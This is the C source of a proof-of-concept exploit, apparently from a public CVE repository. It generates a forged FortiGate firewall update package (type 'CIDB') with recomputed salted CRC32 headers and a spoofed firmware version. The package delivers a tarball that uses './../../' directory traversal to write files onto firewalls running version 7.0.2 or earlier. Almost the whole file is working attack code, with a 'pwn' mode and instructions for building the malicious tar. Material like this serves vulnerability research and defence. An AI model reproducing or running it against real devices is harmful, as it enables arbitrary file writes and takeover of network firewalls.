4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / gen_src-vis_pkg_file.c C
/*
    When I inevitably ask myself later "why did you write this in C?!??"
    the answer is: so I can compile against a zlib that's in the same 
    ballpark as the zlib compiled into FG's /bin/init.
*/
#include <zlib.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <errno.h>

#define MAX_SIZE 4096
#define OFFS_MAGIC_NULL 0xc
#define OFFS_MAGIC_SIZE1 0x10
#define OFFS_MAGIC_SIZE2 0x14
#define HEADER_LEN 0x40
#define OFFS_CRC32 0x3c
#define FILE_SIZE (MAX_SIZE - sizeof(struct srcvis_pkg_header) - sizeof(struct srcvis_obj_header))
#define FLAG_SKIP_DATA_CRC32 1
#define TEST_MODE 0
#define PWN_MODE 1

#define PKG_HEADER_SALT  "B1gS"
#define OBJ_HEADER_SALT  "H1dN"
#define PKG_TEST_TARBALL "test.tar"
#define PKG_PWN_TARBALL  "pwn.tar"
#define PKG_DEFAULT_TYPE "CIDB"

#define MAX_OBJS 64
struct _obj_type {
    char code[4];
    char description[64]; // don't pwn me, bro    
} obj_types[MAX_OBJS] = {
    { "FCPC", "Command Object" },
    { "FCPR", "Response Object" },
    { "AVDB", "Virus Definitions" },
    { "NIDS", "Attack Definitions" },
    { "MUDB", "IPS Malicious URL DB" },
    { "PRXY", "Proxy Executables" },
    { "AVEN", "AV Eng. Executables" },
    { "FDNI", "FortiResp Net Info" },
    { "FCNI", "FortiCare Net Info" },
    { "FSCI", "Support ctrct Info" },
    { "FSAE", "Server auth ext" },
    { "FSSI", "System Support Inf" },
    { "FDSP", "FDS Push Info" },
    { "FDSI", "FDS System Info" },
    { "AVST", "Virus Statistics" },
    { "IMLT", "Image List" },
    { "FIMG", "Firmware Image" },
    { "HASY", "HA Sync" },
    { "STAT", "FortiClient Info" },
    { "FBVO", "FCP Binary Value Obj" },
    { "FECT", "FortiClient Ver List" },
    { "LIMG", "FC Installer File" },
    { "FSLP", "SSLVPN Package File" },
    { "FTSI", "FortiToken Activate" },
    { "FMDM", "3G/4G Modem List" },
    { "FAPV", "FortiAP Matrix File" },
    { "IPGO", "IP Geography DB" },
    { "CIDB", "Client ID Object" },
    { "FLEN", "FlowAV Engine" },
    { "FFDB", "FortiFlow Database" },
    { "UWDB", "URL White List" },
    { "CRDB", "Certificate Bundle" },
    { "FLDB", "FlowAV Database" },
    { "MMDB", "Mobile Malware DB" },
    { "DBDB", "Botnet Domain DB" },
    { "FSWV", "FortiSW Matrix File" },
    { "APDB", "Application Database" },
    { "ISDB", "Industrial Database" },
    { "IMMX", "Image Upgrade Matrix" },
    { "MCDB", "Malicious Cert. DB" },
    { "MIML", "FWF Modem List" },
    { "MIMG", "FWF Modem Firmware" },
    { "ALCI", "Account Contract Inf" },
    { "MADB", "Mac Address DB" },
    { "AFDB", "AntiPhish Pattern DB" },
    0
};

struct srcvis_pkg_header {
    unsigned char pad0[4];              // 0-3
    char version[8];                    // 4-11
    unsigned int num_objects;           // 12-15
    unsigned int size1;                 // 16-19
    unsigned int header_len;            // 20-23
    unsigned char unknown1[24];         // 24-47
    unsigned int size3;                 // 48-51
    unsigned int size4;                 // 52-55
    unsigned int unknown2;              // 56-60
    unsigned int crc32;                 // 60-63
} pkg_header;

struct srcvis_obj_header {
    unsigned char pkg_type[4];          // 0-3
    //unsigned int pad0;                  // 4-7
    //unsigned int obj_type;              // 8-11
    unsigned char unknown1[40];         // 12-43
    unsigned int flags;                 // 44-47    
    unsigned int data_len;              // 48-51
    unsigned int header_len;            // 52-55
    unsigned int magic_null;            // 56-59
    unsigned char unknown2[60];         // 60-119
    unsigned int data_crc32;            // 120-123
    unsigned int header_crc32;          // 124-127
} obj_header;

void usage(char *name) {
    printf("%s [ -t | -p ] filename.img\n\
  -t            Generate test package, or\n\
  -p            Generate pwn package.\n\
  filename.img  Write to this file.\n", name);
}

/*
    This exploit generates a file that when processed on a FortiGate firewall <= 7.0.2
    will cause a tarball to be extracted in a manner that is subject to directory 
    traversal using "./../../../" (the single "./" is critical).

    Build a malicious tarball on Linux using `tar Pcf file.tar ./../../../../path/to/file`.
*/
int main(int argc, char **argv) {
    FILE *fp, *pfp;

    if((argc != 3) || (argv[1][1] != 't' && argv[1][1] != 'p')) {
        usage(argv[0]);
        exit(1);
    }

    int mode = (argv[1][1] == 't') ? TEST_MODE : PWN_MODE;
    char *tarball_filename = (mode == TEST_MODE) ? PKG_TEST_TARBALL : PKG_PWN_TARBALL;
    char *package_filename = argv[2];
    
    // clobber existing file, if present
    if((fp = fopen(package_filename, "w+")) == NULL) {
        printf("[!] Failed to open %s: %s\n", package_filename, strerror(errno));
        exit(1);
    }

    // get the payload file size
    struct stat s;
    if(stat(tarball_filename, &s) == -1) {
        printf("[!]error stat(%s)\n", tarball_filename);
        exit(1);
    }
    size_t obj_size = s.st_size;

    // this .tar.gz will be saved on the Firewall, if all goes well.
    if((pfp = fopen(tarball_filename, "r")) == NULL) {
        printf("[!] Error opening %s\n", tarball_filename);
        exit(1);
    }
    printf("[+] Generaing %s package\n", (mode == TEST_MODE) ? "TEST" : "EXPLOIT");
    printf("[+] Reading %s for insertion into package file %s\n", tarball_filename, package_filename);
    char *buf = (char *)malloc(obj_size);
    fread(buf, 1, obj_size, pfp);
    fclose(pfp);

    // FortiGate use low-level raw zlib, so we do too.
    printf("[+] Compressing %s (%zu bytes)\n", tarball_filename, obj_size);
    size_t avail_size = obj_size * 4;
    char *compressed_buf = (char *)malloc(avail_size); // lazy sizing
    z_stream defstream;
    defstream.zalloc = Z_NULL;
    defstream.zfree = Z_NULL;
    defstream.opaque = Z_NULL;
    defstream.avail_in = obj_size;
    defstream.next_in = (Bytef *)buf;
    defstream.avail_out = avail_size;
    defstream.next_out = (Bytef *)compressed_buf;
    
    // compress using FortiGate's decompress parameters. 
    deflateInit_(&defstream, 9, "1.2.11", 0x70);
    deflate(&defstream, Z_FINISH);
    deflateEnd(&defstream);
    
    // get the size of the zlib-compressed .tar.gz file.
    // double compression is like, twice as good, man.
    int compressed_size = avail_size - defstream.avail_out;
    printf("[+] Compressed size: %d\n", compressed_size);

    // null out the package header
    memset((void *)&pkg_header, 0x00, sizeof(pkg_header));

    // build the package header
    printf("[+] Build pkg_header\n");
    pkg_header.size1 = compressed_size + sizeof(obj_header);
    pkg_header.size3 = 0; // this is magic, don't mess with the zeros
    pkg_header.size4 = 0;
    pkg_header.unknown2 = 0;
    pkg_header.header_len = sizeof(pkg_header);
    pkg_header.num_objects = 1;
    
    // pass the version checks in bf_validate_pkg_firmware_version() @ 01564090 in 7.0.2 VM
    //memcpy(pkg_header.version, "07000002", 8); // 7.0.2
    //memcpy(pkg_header.version, "06000200", 8); // 6.2.0
    memcpy(pkg_header.version, "06000004", 8); // 6.0.4
    
    // calculate the package header CRC32
    unsigned int *c = &(pkg_header).crc32;
    *c = crc32(0, 0, 0);
    *c = crc32(*c, (const unsigned char *)&pkg_header, sizeof(pkg_header) - 4);
    *c = crc32(*c, (const unsigned char *)PKG_HEADER_SALT, 4);
    printf("[+] pkg_header crc32: 0x%08x\n", *c);   

    // build the object header
    printf("[+] Build obj_header\n");
    memset(&obj_header, 0x0, sizeof(obj_header));
    obj_header.data_len = compressed_size;
    obj_header.header_len = sizeof(obj_header);
    obj_header.magic_null = 0;
    obj_header.flags = FLAG_SKIP_DATA_CRC32;

    // this controls the type of package we're delivering.
    // For this exploit it needs to be "CIDB".
    char type[5] = PKG_DEFAULT_TYPE; // CIDB
    printf("[+] Using %s for obj_type\n", type);
    memcpy(obj_header.pkg_type, type, 4);
    
    // calculate the object data CRC32
    c = &(obj_header).data_crc32;
    *c = crc32(0, 0, 0);
    *c = crc32(*c, (const unsigned char *)buf, obj_size);
    printf("[+] obj_data   crc32: 0x%08x\n", *c);   

    // calculate the object header CRC32
    c = &(obj_header).header_crc32;
    *c = crc32(0, 0, 0);
    *c = crc32(*c, (const unsigned char *)&obj_header, sizeof(obj_header) - 4);
    *c = crc32(*c, (const unsigned char *)OBJ_HEADER_SALT, 4);
    printf("[+] obj_header crc32: 0x%08x\n", *c);

    // write pk header, object header, and object data to file
    printf("[+] Write pkg_header + obj_header + obj_data > %s\n", package_filename);
    fwrite((unsigned char *)&pkg_header, 1, sizeof(pkg_header), fp);
    fwrite((unsigned char *)&obj_header, 1, sizeof(obj_header), fp);
    fwrite(compressed_buf, 1, compressed_size, fp);
    
    printf("[+] All done. So long and thanks for all the fish!");
}